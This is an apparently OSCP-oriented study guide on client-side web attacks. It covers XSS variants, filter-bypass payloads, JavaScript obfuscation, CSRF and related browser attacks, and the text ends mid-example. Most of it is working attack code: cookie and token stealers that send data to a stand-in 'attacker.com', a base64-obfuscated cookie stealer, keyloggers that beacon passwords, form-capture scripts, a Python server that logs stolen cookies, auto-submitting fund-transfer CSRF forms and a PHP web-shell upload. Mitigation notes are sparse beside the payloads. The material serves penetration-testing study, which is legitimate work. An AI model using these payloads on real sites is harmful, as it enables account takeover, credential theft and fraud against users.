Domain 3Exploit Dev & AV EvasionCORE

Client-Side Attacks

Study notes for Client-Side Attacks covering key PEN-200 methodology and lab techniques.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-05
#Client-Side Attacks#PEN-200

OSCP Study Guide: Client-Side Attacks

Chapter 08 — Deep dive into browser-based attack vectors, XSS, CSRF, Clickjacking, and beyond.


Table of Contents

  1. Cross-Site Scripting (XSS) Deep Dive
  2. XSS Filtering Bypass Techniques
  3. JavaScript-Based Attacks
  4. Browser Vulnerability Exploitation
  5. Browser Extension Vulnerabilities
  6. HTML5 Security Issues
  7. WebSocket Attacks
  8. SVG-Based Attacks
  9. Data URI Attacks
  10. JavaScript Obfuscation for XSS
  11. Cookie Theft via XSS
  12. Session Hijacking via XSS
  13. Keylogging via XSS
  14. CSRF (Cross-Site Request Forgery)
  15. Clickjacking and UI Redressing
  16. DNS Rebinding Attacks
  17. Web Cache Poisoning
  18. Prototype Pollution
  19. DOM Clobbering
  20. Tools Overview

1. Cross-Site Scripting (XSS) Deep Dive

1.1 What is XSS?

  • XSS = Cross-Site Scripting (not “Cross-Site”)
  • Attacker injects malicious scripts into trusted websites
  • Scripts execute in the victim’s browser context
  • The browser cannot distinguish between trusted and injected scripts

1.2 XSS Types Overview

Type Storage Persistence Trigger Risk Level
Reflected URL/Request Non-persistent Victim clicks link Medium
Stored Database Persistent Victim visits page High
DOM-based Client-side JS Non-persistent Victim visits page Medium-High
Mutation XSS DOM mutation Varies Browser parses HTML Medium

1.3 Reflected XSS

Technical Explanation:

  • Malicious script is embedded in the HTTP request
  • Server reflects the input back in the HTTP response
  • Script executes when the victim opens the crafted URL
  • Requires social engineering to deliver the payload

Attack Flow:

sequenceDiagram
    attacker->>victim: Send malicious URL with payload
    victim->>server: GET /search?q=<script>alert(1)</script>
    server->>victim: HTML response containing <script>alert(1)</script>
    victim->>victim: Browser executes injected script
    victim->>attacker: Script exfiltrates data to attacker

Example Payloads:

<!-- Basic reflected XSS -->
<script>alert('XSS')</script>

<!-- Via URL parameter -->
http://target.com/search?q=<script>document.location='http://attacker.com/?c='+document.cookie</script>

<!-- Image tag variant -->
<img src=x onerror=alert('XSS')>

<!-- SVG variant -->
<svg onload=alert('XSS')>

<!-- iframe variant -->
<iframe src="javascript:alert('XSS')"></iframe>

Detection and Exploitation:

  • Test every user input field
  • Test URL parameters, headers, cookies
  • Use Burp Suite Repeater to modify reflected parameters
  • Check if input appears in response without encoding

Mitigation Strategies:

  • Context-aware output encoding
  • Content Security Policy (CSP) headers
  • Input validation (whitelist approach)
  • HttpOnly flag on cookies

1.4 Stored XSS

Technical Explanation:

  • Malicious script is permanently stored on the target server
  • Stored in database, comment field, profile, etc.
  • Every visitor who views the stored content executes the script
  • No social engineering needed per victim — one injection, many victims

Attack Flow:

sequenceDiagram
    attacker->>server: POST comment=<script>steal()</script>
    server->>db: Store malicious comment
    victim->>server: GET /post/123
    server->>victim: HTML with stored <script>steal()</script>
    victim->>victim: Browser executes injected script
    victim->>attacker: Data exfiltrated automatically

Example Payloads:

<!-- Stored in comment field -->
<script>
  new Image().src = 'http://attacker.com/log?cookie=' + document.cookie;
</script>

<!-- Stored in profile bio -->
<img src=x onerror="fetch('http://attacker.com/steal?d='+btoa(document.cookie))">

<!-- Stored in forum post -->
<svg/onload=fetch('http://attacker.com',{method:'POST',body:document.cookie})>

Detection and Exploitation:

  • Look for user-generated content areas
  • Comment sections, forums, profiles, wikis
  • Submit test payloads and revisit the page
  • Check if payload persists across sessions

Mitigation Strategies:

  • Server-side output encoding on all user content
  • Strict CSP with nonce or hash directives
  • Sanitize HTML input with allowlists
  • Rate limiting on user submissions

1.5 DOM-based XSS

Technical Explanation:

  • Vulnerability exists entirely in client-side JavaScript
  • Server response is never modified
  • The DOM itself becomes the attack vector
  • Sink functions (innerHTML, document.write, eval) process tainted data

Common Sink Functions:

Sink Risk Example
element.innerHTML High div.innerHTML = location.hash
document.write() High document.write(queryString)
eval() Critical eval(userInput)
setTimeout() / setInterval() High setTimeout(userInput, 0)
element.outerHTML High el.outerHTML = data
window.location Medium location = userInput
jQuery.html() High $('#id').html(data)

Attack Flow:

graph LR
    A[Victim visits URL] --> B[JS reads URL/hash/search]
    B --> C[JS writes data to DOM unsafely]
    C --> D[Malicious script executes]
    D --> E[Data exfiltrated]

Example Vulnerable Code:

// Vulnerable — reads from URL hash, writes to innerHTML
const hash = window.location.hash.substring(1);
document.getElementById('output').innerHTML = hash;

// Exploit URL:
// http://target.com/page#<img src=x onerror=alert('DOM XSS')>

Example Payloads:

<!-- Via hash fragment -->
#<img src=x onerror=alert('DOM XSS')>

<!-- Via query string -->
?q=<svg onload=alert('DOM XSS')>

<!-- Via URL path -->
/path/<script>alert('DOM XSS')</script>

Detection and Exploitation:

  • Audit client-side JavaScript for sink functions
  • Check if data sources (URL, hash, search) flow to sinks
  • Use DOMPurify or similar to identify unsafe patterns
  • Burp Suite’s DOM XSS scanner helps detect these

Mitigation Strategies:

  • Use safe DOM APIs (textContent, appendChild)
  • Sanitize all data before inserting into DOM
  • Implement CSP with strict-dynamic
  • Use frameworks that auto-escape (React, Angular)

1.6 Mutation XSS

Technical Explanation:

  • Browser’s HTML parser mutates the injected payload
  • The mutation creates a new XSS vector not present in original input
  • Different browsers parse HTML differently — exploit parser quirks
  • Rare but powerful — exploits browser-specific behavior

Example Scenario:

<!-- Input sent to server -->
<details open ontoggle=alert(1)>

<!-- Browser may mutate to -->
<details open ontoggle="alert(1)">
<!-- Which triggers when details toggled -->

Detection and Exploitation:

  • Test payloads across multiple browsers
  • Compare server response vs. rendered DOM
  • Use browser DevTools to inspect DOM mutations
  • Look for attribute normalization differences

Mitigation Strategies:

  • Use modern browsers with updated parsers
  • Implement strict output encoding
  • CSP as defense-in-depth

2. XSS Filtering Bypass Techniques

2.1 Why Filters Fail

  • Filters are often regex-based and incomplete
  • HTML/JS have many equivalent representations
  • Browser parsers are more permissive than filters
  • Filters may encode but not break the attack vector

2.2 Bypass Categories

Category Technique Example
Case variation Mixed case tags <ScRiPt>alert(1)</sCrIpT>
Encoding HTML entities &#60;script&#62;alert(1)&#60;/script&#62;
Encoding URL encoding %3Cscript%3Ealert(1)%3C/script%3E
Encoding Double URL encoding %253Cscript%253E
Encoding Unicode encoding \u003cscript\u003e
Encoding Hex encoding \x3cscript\x3e
Encoding Base64 encoding data:text/html;base64,PHNjcmlwdD4=
No quotes Unquoted attributes <img src=x onerror=alert(1)>
No closing Missing closing tags <script>alert(1)
Whitespace Null bytes <scr%00ipt>alert(1)</script>
Whitespace Tab/newline <img src=x onerror=\nalert(1)>
Whitespace Comments in tags <img src=x onerror<!--comment-->=alert(1)>
Alternative tags SVG <svg onload=alert(1)>
Alternative tags iframe <iframe src=javascript:alert(1)>
Alternative tags body <body onload=alert(1)>
Alternative tags marquee <marquee onstart=alert(1)>
Alternative tags details <details open ontoggle=alert(1)>
Alternative tags video/audio <video><source onerror=alert(1)>
Alternative tags math <math><a href=javascript:alert(1)>click</a>
Protocol javascript: <a href=javascript:alert(1)>click</a>
Protocol data: <a href=data:text/html,<script>alert(1)</script>>x</a>
Protocol vbscript: <a href=vbscript:msgbox(1)>click</a>
Event handlers onerror <img src=x onerror=alert(1)>
Event handlers onload <body onload=alert(1)>
Event handlers onfocus <input onfocus=alert(1) autofocus>
Event handlers onmouseover <div onmouseover=alert(1)>hover</div>
Event handlers onscroll <div style=height:100px;onscroll=alert(1)><br><br>...</div>
Event handlers oninput <input oninput=alert(1)>
Event handlers onanimationend <span style=animation:name:x onanimationend=alert(1)>
Event handlers onpointerover <div onpointerover=alert(1)>hover</div>
Event handlers onbeforetoggle <details open ontoggle=alert(1)>
Polyglot Multi-context jaVasCript:/*-/*\/`/’/*“/**/oNcliCk=alert(1)`
Breaking out Quote breaking "><script>alert(1)</script>
Breaking out Attribute breaking autofocus onfocus=alert(1) x="

2.3 Encoding Bypass Deep Dive

HTML Entity Encoding:

<!-- Named entities -->
&lt;script&gt;alert(1)&lt;/script&gt;

<!-- Decimal entities -->
&#60;script&#62;alert(1)&#60;/script&#62;

<!-- Hex entities -->
&#x3c;script&#x3e;alert(1)&#x3c;/script&#x3e;

<!-- Mixed encoding -->
&lt;scr&#105;pt&gt;alert(1)&lt;/scr&#105;pt&gt;

URL Encoding:

%3Cscript%3Ealert(1)%3C/script%3E
%3Cimg%20src%3Dx%20onerror%3Dalert%281%29%3E

JavaScript String Encoding:

// Unicode escape
\u0061lert(1)  // = alert(1)

// Hex escape
\x61lert(1)    // = alert(1)

// Template literals
`aler` + `t(1)`

// String.fromCharCode
String.fromCharCode(97,108,101,114,116,40,49,41)

2.4 Polyglot XSS Payloads

A polyglot works in multiple contexts simultaneously:

<!-- Works as: attribute, text, script, comment -->
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//
`;alert(String.fromCharCode(88,83,83))//`;alert(String.fromCharCode(88,83,83))//
--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<!-- The ultimate polyglot -->
jaVasCript:/*-/*\`/*\`/*'/*"/**/oNcliCk=alert(1)//<svg/onload=alert(1)>

2.5 Filter Evasion Checklist

  • Try case variations on all tags
  • Try all encoding types
  • Try alternative event handlers
  • Try alternative HTML tags
  • Try breaking out of context
  • Try polyglot payloads
  • Try whitespace injection
  • Try null byte injection
  • Try double encoding
  • Try charset manipulation

3. JavaScript-Based Attacks

3.1 JavaScript Injection Vectors

Vector Description Example
URL parameter JS reads URL and evaluates ?cmd=<script>...</script>
Hash fragment JS reads hash and executes #<img onerror=...>
localStorage Stored malicious JS localStorage.setItem('x', '<script>...')
sessionStorage Session-stored payload Similar to localStorage
Cookie JS reads malicious cookie document.cookie manipulation
POST data Form data reflected in JS Form submission with payload
HTTP header Custom header reflected X-Custom: <script>...
Referrer Referer header used in JS document.referrer injection

3.2 JavaScript Gadget Chains

Prototype Pollution as JS Attack:

// Pollute Object.prototype
JSON.parse('{"__proto__":{"admin":true}}');

// Now all objects have admin=true
({}).admin; // true

eval() Chain:

// If eval() is reachable with user control
eval(userInput);

// Payload
alert(document.cookie)

// Chained
alert(document.cookie);fetch('http://attacker.com?c='+document.cookie)

3.3 JavaScript Sandbox Escape

  • <iframe sandbox> restrictions can sometimes be bypassed
  • Look for allow-scripts without proper isolation
  • Exploit form submission to break sandbox
<!-- Sandbox with scripts allowed -->
<iframe sandbox="allow-scripts" srcdoc="<script>alert(1)</script>">

<!-- Escape via form -->
<iframe sandbox="allow-scripts allow-forms" srcdoc="
  <form action='http://attacker.com' method='POST'>
    <input name='data' value='" + document.cookie + "'>
    <input type='submit'>
  </form>
">

4. Browser Vulnerability Exploitation

4.1 Common Browser Vulnerabilities

Vulnerability Type Description Impact
Use-After-Free Memory freed but still referenced RCE, XSS
Buffer Overflow Write beyond buffer boundary RCE
Type Confusion Wrong type assumed for object RCE
Integer Overflow Arithmetic overflow in JS engine RCE
Same-Origin Policy Bypass SOP enforcement failure Data theft
CSP Bypass CSP header circumvention XSS
XSS Auditor Bypass Deprecated but still relevant XSS

4.2 Exploiting Browser Bugs

General Approach:

  1. Identify the vulnerable browser version
  2. Find known CVEs for that version
  3. Obtain or develop an exploit
  4. Deliver exploit via XSS or social engineering
  5. Achieve code execution in browser context

Tools for Browser Exploitation:

  • ExploitDB — Search for browser-specific exploits
  • Metasploit — Browser exploit modules
  • Custom exploits — For zero-day scenarios

4.3 Same-Origin Policy (SOP)

What SOP Protects:

  • Prevents cross-origin DOM access
  • Prevents cross-origin AJAX requests (without CORS)
  • Prevents cross-origin cookie access

SOP Bypass Techniques:

Technique How It Works
JSONP abuse Abuses legitimate JSONP endpoints
CORS misconfiguration Exploits permissive CORS headers
PostMessage abuse Exploits wildcard origin listeners
Hash-based attacks Exploits hash fragment sharing
Link rel preconnect Information leakage via timing

postMessage Bypass Example:

// Vulnerable receiver — accepts any origin
window.addEventListener('message', function(event) {
    // No origin check!
    eval(event.data);
});

// Attacker sends malicious message
window.parent.postMessage('alert(document.cookie)', '*');

5. Browser Extension Vulnerabilities

5.1 Why Extensions Are Risky

  • Extensions run with elevated privileges
  • Can access any page the user visits
  • Can bypass SOP restrictions
  • Often have content security policy exemptions

5.2 Common Extension Vulnerabilities

Vulnerability Description Example
XSS in extension Extension page vulnerable to XSS Reflected XSS in options page
Open redirect Extension redirects to any URL chrome.extension.getURL() abuse
CSP bypass Extension bypasses page CSP Inject scripts into any page
Insecure storage Sensitive data stored insecurely chrome.storage.local without encryption
postMessage abuse Extension communicates unsafely Wildcard origin acceptance
Permission abuse Extension uses excessive permissions "<all_urls>" with XSS

5.3 Attacking Extensions via XSS

// If extension has content script injection capability
// and page has XSS, attacker can abuse extension

// Example: Extension injects scripts into all pages
// XSS on target page can communicate with extension

chrome.runtime.sendMessage(extensionId, {
    action: 'execute',
    code: 'fetch("http://attacker.com?c="+document.cookie)'
});

5.4 Extension Manifest Weaknesses

{
    "content_security_policy": "script-src 'unsafe-eval' https://*",
    "permissions": ["<all_urls>", "cookies", "storage"],
    "web_accessible_resources": ["inject.js"]
}

Red Flags:

  • unsafe-eval in CSP
  • <all_urls> permission
  • Web-accessible resources without validation
  • Missing origin checks in message handlers

6. HTML5 Security Issues

6.1 HTML5 New Attack Vectors

Feature Attack Vector Risk
WebSockets Cross-site WebSocket hijacking Data theft
Web Workers Worker script injection Code execution
Canvas Canvas fingerprinting Privacy breach
Geolocation Location data theft Privacy breach
Web Storage localStorage/sessionStorage XSS Data theft
IndexedDB Stored XSS via database Persistent attack
Drag & Drop Data URI injection XSS
File API Malicious file handling XSS, RCE
WebRTC IP address leakage Privacy breach
Notification API Phishing via notifications Social engineering

6.2 Canvas-Based Attacks

Canvas Fingerprinting:

// Generate unique fingerprint from canvas rendering
const canvas = document.createElement('canvas');
canvas.width = 200;
canvas.height = 50;
const ctx = canvas.getContext('2d');
ctx.fillText('Fingerprint Test', 0, 50);
const fingerprint = canvas.toDataURL();
// Send fingerprint to attacker for tracking

Canvas Data Exfiltration:

// If canvas can read cross-origin content (CORS misconfig)
const img = new Image();
img.crossOrigin = 'anonymous';
img.src = 'https://target.com/secret-image.png';
img.onload = () => {
    const canvas = document.createElement('canvas');
    canvas.width = img.width;
    canvas.height = img.height;
    const ctx = canvas.getContext('2d');
    ctx.drawImage(img, 0, 0);
    // Extract pixel data
    const data = ctx.getImageData(0, 0, canvas.width, canvas.height);
};

6.3 Web Storage Attacks

// localStorage XSS — stored payload executes on page load
localStorage.setItem('username', '<img src=x onerror=alert(1)>');

// If page reads localStorage and writes to DOM unsafely
document.getElementById('user').innerHTML = localStorage.getItem('username');

// sessionStorage — same concept, session-scoped
sessionStorage.setItem('token', '<script>steal()</script>');

6.4 WebRTC IP Leakage

// Leak internal IP address via WebRTC
const pc = new RTCPeerConnection({
    iceServers: []
});
pc.createDataChannel('');
pc.createOffer().then(offer => pc.setLocalDescription(offer));
pc.onicecandidate = (ice) => {
    if (ice && ice.candidate && ice.candidate.candidate) {
        // Extract IP from candidate
        const ip = ice.candidate.candidate.split(' ')[4];
        console.log('Internal IP:', ip);
    }
};

7. WebSocket Attacks

7.1 WebSocket Basics

  • Full-duplex communication over single TCP connection
  • Protocol: ws:// (unencrypted) or wss:// (encrypted)
  • Handshake via HTTP upgrade mechanism
  • No built-in Same-Origin Policy for the handshake

7.2 Cross-Site WebSocket Hijacking (CSWSH)

Technical Explanation:

  • WebSocket handshake is an HTTP request
  • Cookies are sent with the handshake
  • If auth relies only on cookies, attacker can hijack
  • Attacker establishes WebSocket in victim’s browser context

Attack Flow:

sequenceDiagram
    attacker->>attacker: Create malicious page
    attacker->>victim: Send link to malicious page
    victim->>victim: Open malicious page
    victim->>target: WebSocket handshake (with victim's cookies)
    target->>victim: WebSocket connection established
    victim->>attacker: Attacker reads/writes WebSocket messages

Example Attack Code:

// Attacker's page
const ws = new WebSocket('wss://target.com/api/notifications');

ws.onopen = () => {
    console.log('WebSocket hijacked!');
    // Send messages as the victim
    ws.send(JSON.stringify({action: 'read_messages'}));
};

ws.onmessage = (event) => {
    // Read victim's data
    console.log('Victim data:', event.data);
    // Exfiltrate to attacker
    fetch('http://attacker.com/steal?data=' + encodeURIComponent(event.data));
};

Mitigation Strategies:

  • Use CSRF tokens in WebSocket handshake
  • Validate Origin header on server
  • Use additional authentication beyond cookies
  • Implement double-submit cookie pattern

7.3 WebSocket Message Injection

// If WebSocket messages contain unsanitized user input
// and are rendered in the DOM

// Attacker sends via hijacked connection
ws.send(JSON.stringify({
    type: 'chat_message',
    content: '<img src=x onerror=fetch("http://attacker.com?c="+document.cookie)>'
}));

8. SVG-Based Attacks

8.1 Why SVG Is Dangerous

  • SVG is XML-based and can contain scripts
  • SVG can be embedded inline, via img, or as data URI
  • Many applications filter HTML but not SVG
  • SVG has its own event handlers and scripting capabilities

8.2 SVG XSS Vectors

Vector Payload Context
Inline SVG <svg onload=alert(1)> Direct HTML injection
SVG in img <img src=1.svg> External SVG file
SVG data URI <img src="data:image/svg+xml,<svg onload=alert(1)>"> Data URI
SVG foreignObject <svg><foreignObject><div onload=alert(1)></foreignObject></svg> HTML inside SVG
SVG script <svg><script>alert(1)</script></svg> Script tag in SVG
SVG animate <svg><animate attributeName=href to=javascript:alert(1)></animate></svg> Animation attack
SVG set <svg><set attributeName=onclick to=alert(1)></set></svg> Attribute manipulation

8.3 SVG Payload Examples

<!-- Basic SVG XSS -->
<svg onload="alert('XSS')">

<!-- SVG with foreignObject (full HTML inside SVG) -->
<svg width="100%" height="100%">
  <foreignObject width="100%" height="100%">
    <div xmlns="http://www.w3.org/1999/xhtml">
      <iframe src=javascript:alert('XSS')></iframe>
    </div>
  </foreignObject>
</svg>

<!-- SVG with script tag -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    alert('XSS via SVG script');
  </script>
</svg>

<!-- SVG data URI (URL encoded) -->
data:image/svg+xml,%3Csvg%20onload%3Dalert%281%29%3E

<!-- SVG with embedded styles and animation -->
<svg>
  <style>
    @keyframes x{}
  </style>
  <rect style="animation:name:x" onanimationend="alert(1)" />
</svg>

8.4 SVG Upload Vulnerabilities

  • Many file upload filters block .html but allow .svg
  • SVG uploaded as avatar, logo, or document
  • When viewed, SVG executes embedded scripts

Detection:

  • Check if SVG uploads are sanitized
  • Test uploading SVG with embedded scripts
  • Check Content-Type headers on served SVG

9. Data URI Attacks

9.1 Data URI Scheme

data:[<mediatype>][;base64],<data>

Supported Media Types:

Media Type Use Case XSS Risk
text/html HTML content Critical
text/javascript JavaScript Critical
image/svg+xml SVG images High
text/plain Plain text Low
application/json JSON data Low

9.2 Data URI XSS Vectors

<!-- HTML via data URI -->
<a href="data:text/html,<script>alert(1)</script>">Click</a>
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>

<!-- SVG via data URI -->
<img src="data:image/svg+xml,<svg onload=alert(1)>">

<!-- JavaScript via data URI -->
<iframe src="data:text/javascript,alert(1)"></iframe>

<!-- Base64 encoded -->
<img src="data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+">
<!-- Decodes to: <svg onload=alert(1)> -->

9.3 Data URI in Real Attacks

// Redirect via data URI
window.location = 'data:text/html,<body onload="fetch(\'http://attacker.com?c=\'+document.cookie)">';

// Open in new window
window.open('data:text/html,<script>document.body.innerHTML=\'<h1>Hacked</h1>\'</script>');

// Embed via object tag
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

9.4 Browser Restrictions on Data URIs

Browser data:text/html data:text/javascript Restrictions
Chrome Limited Blocked Origin-opaque, no script execution from some contexts
Firefox Allowed Allowed More permissive
Safari Limited Blocked Strict on data URI scripts
Edge Limited Blocked Similar to Chrome

10. JavaScript Obfuscation for XSS

10.1 Why Obfuscate?

  • Bypass content filters and WAFs
  • Hide malicious intent from review
  • Evade signature-based detection
  • Make analysis harder for defenders

10.2 Obfuscation Techniques

Technique Example Result
String concatenation 'al'+'ert'+'(1)' alert(1)
String.fromCharCode String.fromCharCode(97,108,101,114,116) alert
Unicode escapes \u0061\u006c\u0065\u0072\u0074 alert
Hex escapes \x61\x6c\x65\x72\x74 alert
Array join ['a','l','e','r','t'].join('') alert
Template literals `al` + `ert` alert
Bitwise operations (1<<4)+1 17
Math operations Math.sqrt(16) 4
Logical operators `0
Negation ~~3 3
Type coercion +'1' 1
atob/btoa atob('YWxlcnQx') alert1

10.3 Obfuscation Examples

// Level 1: Simple concatenation
'ale'+'rt'(1)

// Level 2: fromCharCode
String.fromCharCode(97,108,101,114,116,40,49,41)

// Level 3: Nested obfuscation
eval(String.fromCharCode(97,108,101,114,116,40,49,41))

// Level 4: Array-based
['a','l','e','r','t'].join('')+'(1)'

// Level 5: Template + fromCharCode
`${String.fromCharCode(97,108,101,114,116)}(1)`

// Level 6: Bitwise + string
(String.fromCharCode(0x61|0x00)+String.fromCharCode(0x6c|0x00))+'ert(1)'

// Level 7: Full obfuscated cookie stealer
eval(atob('bmV3IEltYWdlKCkuc3JjPSdodHRwOi8vYXR0YWNrZXIuY29tP2MnK2RvY3VtZW50LmNvb2tpZQ=='))
// Decodes to: new Image().src='http://attacker.com?c'+document.cookie

10.4 Obfuscation Tools

Tool Description
JavaScript Obfuscator Online tool with multiple techniques
obfuscator-io Popular JS obfuscation library
js-obfuscator Node.js based obfuscator
Custom scripts Write your own for specific filters

Set-Cookie: sessionid=abc123; Path=/; Domain=.example.com; Secure; HttpOnly; SameSite=Lax
Attribute Purpose Security Impact
Name Cookie identifier N/A
Value Stored data Session tokens, prefs
Domain Scope domain Wider domain = more exposure
Path Scope path Wider path = more exposure
Secure HTTPS only Prevents MITM theft
HttpOnly No JS access Prevents XSS cookie theft
SameSite CSRF protection Lax/Strict prevents cross-site
Expires/Max-Age Lifetime Longer = more exposure window
// Basic cookie exfiltration via image
document.write('<img src="http://attacker.com/steal?cookie='+document.cookie+'">');

// Via new Image object
new Image().src = 'http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);

// Via fetch API
fetch('http://attacker.com/steal', {
    method: 'POST',
    body: document.cookie,
    mode: 'no-cors'
});

// Via XMLHttpRequest
const xhr = new XMLHttpRequest();
xhr.open('POST', 'http://attacker.com/steal', true);
xhr.send(document.cookie);

// Via navigator.sendBeacon (survives page unload)
navigator.sendBeacon('http://attacker.com/steal', document.cookie);

// Base64 encoded for stealth
new Image().src = 'http://attacker.com/steal?c=' + btoa(document.cookie);
# Simple Python cookie collector
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import json, os

class CookieHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed = urlparse(self.path)
        params = parse_qs(parsed.query)
        cookie = params.get('cookie', [''])[0]
        
        # Save to file
        with open('stolen_cookies.txt', 'a') as f:
            f.write(f"{self.client_address[0]}: {cookie}\n")
        
        # Return 1x1 transparent pixel
        self.send_response(200)
        self.send_header('Content-Type', 'image/png')
        self.end_headers()
        self.wfile.write(b'\x89PNG\r\n\x1a\n')
    
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        cookie = self.rfile.read(length).decode()
        
        with open('stolen_cookies.txt', 'a') as f:
            f.write(f"{self.client_address[0]}: {cookie}\n")
        
        self.send_response(200)
        self.end_headers()

HTTPServer(('0.0.0.0', 80), CookieHandler).serve_forever()
  • HttpOnly flag set — JavaScript cannot access document.cookie
  • Secure flag set — Cookie only sent over HTTPS
  • CSP with strict directives — Blocks external requests
  • SameSite=Strict — Limits cross-site contexts

Workarounds when HttpOnly is set:

  • Perform actions on behalf of the user (not cookie theft)
  • Use CSRF for state-changing operations
  • Keylogging to capture credentials during login
  • Session fixation attacks

12. Session Hijacking via XSS

12.1 Session Hijacking Methods

Method Description Difficulty
Cookie theft Steal session cookie via XSS Easy (if no HttpOnly)
Session prediction Guess valid session ID Hard (needs weak RNG)
Session fixation Force victim to use known ID Medium
XSS + CSRF combo Use XSS to trigger CSRF Medium
Token theft Steal auth tokens from JS vars Easy

12.2 Session Hijacking via XSS

// Step 1: Steal the session cookie
const sessionCookie = document.cookie.match(/sessionid=([^;]+)/);

// Step 2: Send to attacker
if (sessionCookie) {
    new Image().src = 'http://attacker.com/hijack?session=' + sessionCookie[1];
}

// Step 3: Attacker uses the cookie
// curl -b "sessionid=stolen_value" http://target.com/admin

12.3 Token Theft from JavaScript Variables

// Many SPAs store tokens in JS variables
// Common variable names to look for:
// - token, authToken, accessToken, jwt, bearer
// - __INITIAL_STATE__, __NEXT_DATA__

// Search for tokens in page source
const scripts = document.querySelectorAll('script');
scripts.forEach(script => {
    const content = script.textContent;
    const tokenMatch = content.match(/(?:token|auth|jwt|bearer)[:\s=]+['"]([^'"]+)['"]/i);
    if (tokenMatch) {
        new Image().src = 'http://attacker.com/token?t=' + tokenMatch[1];
    }
});

// Check common global variables
const targets = ['token', 'authToken', 'accessToken', 'jwt', 'bearer', 'API_TOKEN'];
targets.forEach(name => {
    if (window[name]) {
        new Image().src = 'http://attacker.com/token?name=' + name + '&val=' + window[name];
    }
});

12.4 Session Hijacking Mitigation

  • Set HttpOnly flag on all session cookies
  • Set Secure flag to enforce HTTPS
  • Use short session timeouts
  • Implement session binding (IP, User-Agent)
  • Use CSRF tokens for state-changing operations
  • Regenerate session ID after authentication

13. Keylogging via XSS

13.1 Why Keylog?

  • HttpOnly cookies prevent direct cookie theft
  • Keylogging captures credentials at login time
  • Captures all typed input, not just passwords
  • Works even with HttpOnly cookies

13.2 Keylogging Payloads

// Basic keylogger
document.onkeypress = function(e) {
    const key = e.key || String.fromCharCode(e.keyCode);
    new Image().src = 'http://attacker.com/log?k=' + encodeURIComponent(key);
};

// Advanced keylogger with context
let loggedKeys = '';
document.addEventListener('keydown', function(e) {
    // Capture active element context
    const active = document.activeElement;
    const context = active ? active.tagName + ':' + (active.name || active.id || '') : 'unknown';
    
    const key = e.key || String.fromCharCode(e.keyCode);
    loggedKeys += key;
    
    // Batch send every 50 keys
    if (loggedKeys.length >= 50) {
        navigator.sendBeacon('http://attacker.com/log', 
            JSON.stringify({keys: loggedKeys, context: context, url: location.href}));
        loggedKeys = '';
    }
});

// Focus-aware keylogger (only log in input fields)
document.addEventListener('keydown', function(e) {
    const tag = document.activeElement.tagName.toLowerCase();
    if (tag === 'input' || tag === 'textarea') {
        const name = document.activeElement.name || document.activeElement.id || '';
        const key = e.key;
        
        // Detect password fields
        if (document.activeElement.type === 'password') {
            navigator.sendBeacon('http://attacker.com/password', 
                JSON.stringify({
                    field: name,
                    key: key,
                    url: location.href,
                    time: new Date().toISOString()
                }));
        }
    }
});

13.3 Keylogging via DOM Mutation

// Monitor form submissions
document.addEventListener('submit', function(e) {
    const form = e.target;
    const data = new FormData(form);
    const entries = {};
    for (let [key, value] of data.entries()) {
        entries[key] = value;
    }
    navigator.sendBeacon('http://attacker.com/form', JSON.stringify(entries));
});

// Monitor input changes
document.addEventListener('input', function(e) {
    if (e.target.type === 'password' || e.target.name === 'password') {
        navigator.sendBeacon('http://attacker.com/pass', e.target.value);
    }
});

13.4 Keylogging Mitigation

  • Use CSP to prevent inline scripts
  • Implement Content-Security-Policy with strict-dynamic
  • Use HttpOnly + Secure cookies
  • Implement MFA (multi-factor authentication)
  • Monitor for unusual login patterns
  • Use password managers (they auto-fill, bypassing keyloggers)

14. CSRF (Cross-Site Request Forgery)

14.1 What is CSRF?

  • Attacker forces victim’s browser to perform unwanted actions
  • Exploits the trust a site has in the user’s browser
  • Victim is authenticated when the attack executes
  • The site cannot distinguish legitimate from forged requests

14.2 CSRF Attack Flow

sequenceDiagram
    participant A as Attacker
    participant V as Victim (Browser)
    participant S as Target Server
    
    Note over V: Victim is authenticated<br>on target.com
    A->>A: Create malicious page<br>with hidden form
    A->>V: Victim visits attacker's page
    V->>S: Browser auto-sends cookies<br>with forged request
    S->>S: Server processes request<br>as legitimate
    S->>V: Response (ignored by victim)
    Note over S: Action performed<br>without victim's consent

14.3 CSRF Attack Types

Type Method Use Case
GET-based URL request Change settings, likes, follows
POST-based Form submission Transfer money, change email
PUT/DELETE Custom HTTP methods REST API manipulation
File upload Multipart form Upload malicious files
XMLHTTPRequest AJAX request API endpoint abuse

14.4 CSRF Payload Examples

GET-based CSRF:

<!-- Simple image tag for GET requests -->
<img src="https://target.com/api/change-email?email=attacker@evil.com">

<!-- Link-based -->
<a href="https://target.com/api/transfer?amount=1000&to=attacker">Click here!</a>

<!-- Auto-redirect -->
<meta http-equiv="refresh" content="0;url=https://target.com/api/change-email?email=attacker@evil.com">

POST-based CSRF (Auto-submitting Form):

<html>
<body>
    <form action="https://target.com/api/transfer" method="POST" id="csrf-form">
        <input type="hidden" name="amount" value="10000">
        <input type="hidden" name="to_account" value="attacker_account">
        <input type="hidden" name="currency" value="USD">
    </form>
    <script>
        document.getElementById('csrf-form').submit();
    </script>
</body>
</html>

POST-based CSRF (No JavaScript):

<html>
<body onload="document.getElementById('csrf-form').submit()">
    <form action="https://target.com/api/transfer" method="POST">
        <input type="hidden" name="amount" value="10000">
        <input type="hidden" name="to_account" value="attacker_account">
    </form>
</body>
</html>

File Upload CSRF:

<form action="https://target.com/upload" method="POST" enctype="multipart/form-data">
    <input type="file" name="file" id="file-input">
    <input type="hidden" name="path" value="/uploads/malicious.php">
    <script>
        // Programmatically set file (limited browser support)
        const blob = new Blob(['<?php system($_GET["cmd"]); ?>'], {type: 'text/plain'});
        const file = new File([blob], 'malicious.php');
        const dataTransfer = new DataTransfer();
        dataTransfer.items.add(file);
        document.getElementById('file-input').files = dataTransfer.files;
